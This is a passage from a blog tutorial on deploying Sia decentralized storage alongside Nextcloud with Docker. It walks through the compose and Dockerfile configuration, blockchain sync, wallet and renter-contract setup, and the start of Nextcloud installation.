&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">nextcloud-data&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">services&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">sia&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">build&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">context&lt;/span>:&lt;span style="color:#666"> &lt;/span>.&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">dockerfile&lt;/span>:&lt;span style="color:#666"> &lt;/span>Dockerfile.sia&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">restart&lt;/span>:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">on&lt;/span>-failure&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">ports&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- &lt;span style="color:#ed9d13">&amp;#34;9980:9980&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">volumes&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- ./sia-data:/mnt/sia-data&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- ./sia-uploads:/mnt/sia-uploads&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">nextcloud&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">build&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">context&lt;/span>:&lt;span style="color:#666"> &lt;/span>.&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">dockerfile&lt;/span>:&lt;span style="color:#666"> &lt;/span>Dockerfile.nextcloud&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">ports&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- &lt;span style="color:#ed9d13">&amp;#34;8080:80&amp;#34;&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">links&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- sia:siad_container&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">volumes&lt;/span>:&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- ./sia-uploads:/mnt/sia-uploads&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>- nextcloud-data:/var/www/html&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/sia-nextcloud/docker-compose.yml" download class="download-raw-button">download docker-compose.yml&lt;/a>
 &lt;/div>


&lt;p>This file defines the high-level architecture of the web app. It tells Docker how to load the Sia and Nextcloud containers and specifies the configuration options the containers need to communicate with each other.&lt;/p>
&lt;p>This configuration maps ports within the containers to ports on your local machine, so the line &lt;code>9980:9980&lt;/code> forwards port 9980 on your local machine to 9980 in the Sia container. This allows apps outside the Sia container to communicate with the Sia server within. Similarly, &lt;code>8080:80&lt;/code> forwards your local machine&amp;rsquo;s port 8080 to the container&amp;rsquo;s web server port at 80. I chose 8080 because 80 is a privileged port on most systems and requires special permissions to access.&lt;/p>
&lt;p>This configuration also sets up Docker storage volumes so that the containers can store data that persists even if the container itself is destroyed. &lt;code>./sia-data:/mnt/sia-data&lt;/code> gives the Sia container access to the &lt;code>sia-data/&lt;/code> folder you created above. Within the container, that path will appear as &lt;code>/mnt/sia-data&lt;/code>. The &lt;code>./sia-uploads:/mnt/sia-uploads&lt;/code> line achieves a similar effect.&lt;/p>
&lt;p>Sia and Nextcloud expect to run on the same system with a single filesystem. In this tutorial&amp;rsquo;s architecture, they are on different systems with independent filesystems, but the &lt;code>sia-uploads&lt;/code> lines in both containers&amp;rsquo; configurations allow them to share a path for uploads, which is all that&amp;rsquo;s necessary.&lt;/p>
&lt;p>Finally, &lt;code>nextcloud-data:/var/www/html&lt;/code> allows Nextcloud to persist its configuration information in a named Docker volume called &lt;code>nextcloud-data&lt;/code>. This ensures that when you restart your Nextcloud container, you don&amp;rsquo;t need to reconfigure Nextcloud from scratch.&lt;/p>
&lt;h4 id="dockerfilesia">Dockerfile.sia&lt;/h4>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>FROM debian:jessie-slim
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENV SIA_VERSION 1.3.2
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENV SIA_PACKAGE Sia-v&lt;span style="color:#40ffff">$SIA_VERSION&lt;/span>-linux-amd64
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENV SIA_ZIP &lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">SIA_PACKAGE&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>.zip
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Choose a binary release of Sia.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENV SIA_RELEASE https://github.com/NebulousLabs/Sia/releases/download/v&lt;span style="color:#40ffff">$SIA_VERSION&lt;/span>/&lt;span style="color:#40ffff">$SIA_ZIP&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Choose the directory within the container where Docker will place Sia.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENV SIA_DIR /opt/&lt;span style="color:#40ffff">$SIA_PACKAGE&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN apt-get update &amp;amp;&amp;amp; apt-get install -y &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> socat &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> wget &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> unzip
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Download and install Sia.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN wget &lt;span style="color:#40ffff">$SIA_RELEASE&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>RUN unzip &lt;span style="color:#40ffff">$SIA_ZIP&lt;/span> -d /opt
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Make the Sia ports available to the Docker container&amp;#39;s host.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>EXPOSE &lt;span style="color:#3677a9">9980&lt;/span> &lt;span style="color:#3677a9">9981&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Configure the Sia daemon to run when the container starts.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Specify the Sia directory as /mnt/sia so that you can view these files outside&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># of Docker.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>WORKDIR &lt;span style="color:#40ffff">$SIA_DIR&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ENTRYPOINT socat tcp-listen:9980,reuseaddr,fork tcp:localhost:8000 &amp;amp; ./siad --modules gctwr --sia-directory /mnt/sia-data --api-addr localhost:8000
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/sia-nextcloud/Dockerfile.sia" download class="download-raw-button">download Dockerfile.sia&lt;/a>
 &lt;/div>


&lt;p>This is the Dockerfile for Sia. It creates a Docker container starting from the barebones Debian Jessie build of Linux. It then downloads the latest release of Sia (which is 1.3.2 as of this writing), unzips it, and runs &lt;code>siad&lt;/code>, the Sia server daemon. The &lt;code>--modules gctwr&lt;/code> flag loads only the Sia modules you need for renting Sia storage. The &lt;code>--sia-directory /mnt/sia-data&lt;/code> flag ensures that Sia uses the persistent volume specified in &lt;code>docker-compose.yml&lt;/code>.&lt;/p>
&lt;p>The confusing part of this Dockerfile is the presence of &lt;code>socat&lt;/code> and the &lt;code>--api-addr localhost:8000&lt;/code> flag. &lt;a href="https://github.com/NebulousLabs/Sia/issues/1386">Despite my best efforts&lt;/a>, the Sia developers refuse to allow &lt;code>siad&lt;/code> to bind to non-localhost ports, even though this breaks Docker scenarios. As a workaround, this tutorial configures Sia to bind to &lt;code>localhost:8000&lt;/code>. &lt;code>socat&lt;/code> then binds to the non-localhost 9980 port and forward traffic to &lt;code>localhost:8000&lt;/code>. It&amp;rsquo;s a bit clunky, but it works.&lt;/p>
&lt;h4 id="dockerfilenextcloud">Dockerfile.nextcloud&lt;/h4>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>FROM nextcloud:12.0.0-apache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>EXPOSE &lt;span style="color:#3677a9">80&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/sia-nextcloud/Dockerfile.nextcloud" download class="download-raw-button">download Dockerfile.nextcloud&lt;/a>
 &lt;/div>


&lt;p>This file is straightforward because Nextcloud publishes its own Dockerfile. The only thing I added was a line to listen on port 80.&lt;/p>
&lt;h3 id="launch-containers">Launch containers&lt;/h3>
&lt;p>With the Docker files and folders in place, you&amp;rsquo;re ready to launch your containers. From a command prompt &lt;code>cd&lt;/code> into your &lt;code>sia-nextcloud&lt;/code> directory and enter the commands below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker-compose up -d
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To check the status of your containers, use the &lt;code>logs&lt;/code> command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker-compose logs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When Sia has finished loading, you will see a sequence in the logs that looks like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>sia_1 | Loading...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sia_1 | (0/5) Loading siad...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sia_1 | (1/5) Loading gateway...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sia_1 | (2/5) Loading consensus...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sia_1 | (3/5) Loading transaction pool...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sia_1 | (4/5) Loading wallet...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sia_1 | (5/5) Loading renter...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sia_1 | Finished loading in 0.7577895 seconds
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you run &lt;code>siac&lt;/code> within the container, you will see that Sia has begun syncing its blockchain with the Sia network:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> -it sianextcloud_sia_1 ./siac consensus
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Synced: No
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Height: 730
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Progress (estimated): 0.6%
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="notice notice-info">
 &lt;strong>Optional&lt;/strong>: At this point, you can run &lt;a href="https://github.com/NebulousLabs/Sia-UI/releases/latest">Sia-UI&lt;/a> on your local machine to show a graphical display of what your Docker container&amp;rsquo;s Sia server is doing. Sia-UI normally runs its own Sia server instance, but if it detects an existing instance of Sia listening on port 9980, it will connect to the existing server instead. Sia-UI gives you a more visual representation of Sia&amp;rsquo;s activity, but it is purely optional in this tutorial.
&lt;/div>

&lt;h2 id="configure-sia">Configure Sia&lt;/h2>
&lt;h3 id="optional-speed-up-blockchain-sync">Optional: Speed up blockchain sync&lt;/h3>
&lt;p>Sia needs to download its full blockchain before you can begin using it, but this process can take 1-3 days to complete. I&amp;rsquo;ve provided an optional workaround below to reduce the sync time to 30-60 minutes. If you prefer to wait for Sia to sync on its own, you can skip this step and proceed to the &lt;a href="#complete-blockchain-sync">next section&lt;/a>.&lt;/p>
&lt;p>To apply the blockchain sync workaround:&lt;/p>
&lt;ol>
&lt;li>Shut down the Docker containers.&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Tell Sia to shut down gracefully.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> -it sianextcloud_sia_1 ./siac stop
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Give Sia a few seconds to shut down gracefully.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sleep &lt;span style="color:#3677a9">5&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Stop the Docker containers.&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker-compose down
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ol>
&lt;li>Download the Sia &lt;a href="https://siastats.info/consensus">consensus.db file&lt;/a> from the latest &lt;a href="https://siastats.info">SiaStats&lt;/a> snapshot.&lt;/li>
&lt;li>Copy the &lt;code>consensus.db&lt;/code> file to &lt;code>sia-nextcloud/sia-data/consensus/consensus.db&lt;/code> (overwriting the existing file).&lt;/li>
&lt;li>Restart the Docker containers.&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker-compose up -d
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ol>
&lt;li>Check the container logs periodically until Sia has processed the new blockchain and finished loading:&lt;/li>
&lt;/ol>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker-compose logs
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When Sia finishes loading, you&amp;rsquo;ll see a message in the logs similar to the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>sia_1 | Finished loading in 0.7577895 seconds
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>In my tests, this process took 50 minutes on an SSD. If you&amp;rsquo;re running Sia on a hard-disk drive (HDD), it will take several hours.&lt;/p>
&lt;h3 id="complete-blockchain-sync">Complete blockchain sync&lt;/h3>
&lt;p>Now, you need to wait for Sia to finish syncing its blockchain. You can check on status by periodically running this command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> -it sianextcloud_sia_1 ./siac consensus
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When Sia is synced, you will see &lt;code>Synced: Yes&lt;/code> in the output, like this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Synced: Yes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Block: 000000000000000fdd4d3b48b096e048ad78f8f4fb88d21a025cd5411950e57e
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Height: 117094
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Target: [0 0 0 0 0 0 0 80 208 66 215 153 200 154 90 98 77 172 145 117 174 173 42 79 94 33 89 166 121 200 173 209]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Difficulty: 228263093718558163
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="load-wallet-with-siacoin">Load wallet with Siacoin&lt;/h3>
&lt;p>Next, you need to create a Siacoin wallet within the Docker container and send it at least 500 SC.&lt;/p>
&lt;div class="notice notice-danger">
 &lt;strong>Warning&lt;/strong>: If you have an existing Sia wallet seed, do not re-use it within your Docker container while your other wallet is running. Sia has undefined behavior if you run two wallets simultaneously with the same seed.
&lt;/div>

&lt;p>To create a new Sia wallet, enter the command below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> -it sianextcloud_sia_1 ./siac wallet init
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Sia will generate a 29-word passphrase called a &amp;ldquo;wallet seed&amp;rdquo; and display it in the console, similar to the example output below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>guru delayed kidneys viewpoint rover request negative september number yodel aggravate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>reheat soapy incur update later bimonthly bacon unusual godfather usher tiers pencil
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ultimate vivid unsafe farming costume agile
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Wallet encrypted with password:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>guru delayed kidneys viewpoint rover request negative september number yodel aggravate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>reheat soapy incur update later bimonthly bacon unusual godfather usher tiers pencil
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ultimate vivid unsafe farming costume agile
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This seed controls access to your Siacoin balance, so copy it to a safe place and be sure never to post it online. Sia confusingly displays a seed, followed by an identical password. This surprises many users, but it is Sia&amp;rsquo;s intended behavior.&lt;/p>
&lt;p>After you create the wallet, you need to unlock it with your seed passphrase. Enter the command below, then paste in the seed you generated above.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> -it sianextcloud_sia_1 ./siac wallet unlock
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Finally, generate a new Siacoin wallet address:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> -it sianextcloud_sia_1 ./siac wallet address
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Send at least 500 SC to the wallet you generated. If you don&amp;rsquo;t have Siacoin available, you can either &lt;a href="https://web.archive.org/web/20221222160421/https://siasetup.info/guides/buying-siacoins">buy it&lt;/a> or &lt;a href="https://mtlynch.io/windows-sia-mining/">mine it&lt;/a>.&lt;/p>
&lt;h3 id="create-renter-contracts">Create renter contracts&lt;/h3>
&lt;p>Sia requires you to purchase storage space up front, in the form of &amp;ldquo;renter contracts.&amp;rdquo; The command below creates an allowance for Sia to purchase 500 SC of contracts for 12 weeks of storage.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> -it sianextcloud_sia_1 ./siac renter setallowance 500SC 12w
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>At the time of this writing, 500 SC purchases ~2 TB of storage, so you can increase the contract amount if you need more storage. Prices will change over time as the value of Siacoin fluctuates and more renters and hosts enter the market, but your storage price is guaranteed for the duration of your contract.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: There is a fixed cost to creating rental contracts, so for small rental contracts, the costs don&amp;rsquo;t scale linearly with the amount of storage you purchase. In other words, you can&amp;rsquo;t simply divide the cost of 2 TB by 10 to purchase 200 GB for 50 SC because the cost of creating the contracts themselves is ~130 SC.
&lt;/div>

&lt;p>After you create an allowance, Sia will begin forming storage contracts. This process takes 20-30 minutes to complete. You can check the number of contracts Sia has formed by running the following command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> -it sianextcloud_sia_1 ./siac renter contracts
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Proceed to the next step when Sia has created at least 20 contracts.&lt;/p>
&lt;h2 id="configure-nextcloud">Configure Nextcloud&lt;/h2>
&lt;p>Sia is now ready to begin storing data, so it&amp;rsquo;s time to configure your Nextcloud container.&lt;/p>
&lt;p>You can configure Nextcloud either through the command line or through the web UI. This uses the command line method. If you prefer to set up Nextcloud via the web UI, you can visit &lt;a href="http://localhost:8080">http://localhost:8080&lt;/a> and follow the steps in my video tutorial, &lt;a href="https://youtu.be/i3G5RIXJCLk?t=13m44s">starting at 13:44&lt;/a>.&lt;/p>
&lt;h3 id="install-nextcloud">Install Nextcloud&lt;/h3>
&lt;p>When you load the Nextcloud Docker container, Nextcloud&amp;rsquo;s files are present within the container, but Nextcloud is not yet installed, so your first step is to install Nextcloud with the command below.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>docker &lt;span style="color:#24909d">exec&lt;/span> --user www-data -it sianextcloud_nextcloud_1 ./occ maintenance:install --database &lt;span style="color:#ed9d13">&amp;#34;sqlite&amp;#34;&lt;/span> --database-name &lt;span style="color:#ed9d13">&amp;#34;nextcloud&amp;#34;&lt;/span> --database-user &lt;span style="color:#ed9d13">&amp;#34;root&amp;#34;&lt;/span> --database-pass &lt;span style="color:#ed9d13">&amp;#34;root&amp;#34;&lt;/span> --admin-user &lt;span style="color:#ed9d13">&amp;#34;admin&amp;#34;&lt;/span> --admin-pass &lt;span style="color:#ed9d13">&amp;#34;admin&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>You should see the following:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>Nextcloud is not installed - only a limited number of commands are available
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>creating sqlite db
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Nextcloud was successfully installed
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The example command above uses &lt;code>root&lt;/code>/&lt;code>root&lt;/code> as the database credentials and &lt;code>admin&lt;/code>/&lt;code>admin&lt;/code> as the web app credentials. If you&amp;rsquo;re deploying this on a trusted network, such as your within your home, it&amp;rsquo;s fine to use these defaults. If you&amp;rsquo;re deploying this system on an Internet-facing server, you should choose different, secure credentials.&lt;/p>
&lt;h3 id="enable-external-storage-providers">Enable external storage providers&lt;/h3>
&lt;p>Sia acts as an external storage provider in Nextcloud, so enter the following command to enable Nextcloud&amp;rsquo;s support for external providers.&lt;/p>
